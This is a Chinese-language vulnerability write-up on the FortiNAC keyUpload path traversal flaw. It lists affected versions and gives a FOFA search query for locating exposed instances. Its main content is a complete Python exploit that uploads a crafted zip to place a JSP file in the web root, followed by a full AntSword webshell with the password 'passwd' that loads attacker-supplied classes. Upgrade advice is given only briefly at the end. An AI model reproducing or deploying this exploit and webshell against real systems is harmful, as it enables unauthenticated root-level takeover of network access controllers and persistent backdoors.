0x01 产品简介
FortiNAC(Network Access Control) 是Fortinet的一种零信任网络访问控制解决方案,可增强用户对企业网络上的物联网 (IoT) 设备的监控。NAC 是零信任网络访问安全模型的重要组成部分,在该模型中,IT 团队可以轻松了解正在访问网络的人员和设备,以及如何保护网络内外的公司资产。NAC 可提供全面的网络可视性,有效控制设备和用户,包括自动化动态响应。
0x02 漏洞概述
FortiNAC keyUpload 脚本中存在路径遍历漏洞,未经身份认证的远程攻击者可利用此漏洞向目标系统写入任意内容,最终可在目标系统上以 Root 权限执行任意代码。
0x03 影响范围
影响版本
FortiNAC 9.4.0
FortiNAC 9.2.x <= 9.2.5
FortiNAC 9.1.x <= 9.1.7
FortiNAC 8.8.x
FortiNAC 8.7.x
FortiNAC 8.6.x
FortiNAC 8.5.x
FortiNAC 8.3.x
不受影响版本
FortiNAC 9.4.x >= 9.4.1
FortiNAC 9.2.x >= 9.2.6
FortiNAC 9.1.x >= 9.1.8
FortiNAC 7.2.x >= 7.2.0
0x04 复现环境
FOFA:app="FORTINET-FortiNAC"
0x05 漏洞利用
访问环境验证漏洞是否存在
回显以上内容,证明漏洞存在
直接利用漏洞点写入webshell
exp:
#!/usr/bin/python3
import argparse
import requests
import zipfile
import urllib3
urllib3.disable_warnings()
def exploit(target):
url = f'https://{target}:8443/configWizard/keyUpload.jsp'
r = requests.post(url, files={'key': open('payload.zip', 'rb')}, verify=False)
if 'SuccessfulUpload' in r.text:
print(f'[+] Payload successfully delivered')
def make_zip(payload_file):
fullpath = '/bsc/campusMgr/ui/ROOT/a.jsp'
zf = zipfile.ZipFile('payload.zip', 'w')
zf.write(payload_file, fullpath)
zf.close()
print(f'[+] Wrote {payload_file} to {fullpath}')
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target', help='The IP address of the target', required=True)
parser.add_argument('-f', '--file', help='The cronjob payload file', required=True)
args = parser.parse_args()
make_zip(args.file)
exploit(args.target)
原理:将 payload文件打包成一个zip文件,然后将该zip文件上传到目标IP地址的特定URL下(/bsc/campusMgr/ui/ROOT/xxx.jsp)。如果上传成功,它将输出“Payload successfully delivered”。
payload(写入的是蚁剑一句话马子,密码:passwd)
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
上传成功,测试连接
注:https协议的需要设置一下忽略证书,不然会报错
重新尝试
成功拿下shell
0x06 修复建议
目前 Fortinet 官方已发布安全版本修复这些漏洞,建议受影响用户尽快更新至对应的安全版本。
FortiNAC 9.4.x >= 9.4.1
FortiNAC 9.2.x >= 9.2.6
FortiNAC 9.1.x >= 9.1.8
FortiNAC 7.2.x >= 7.2.0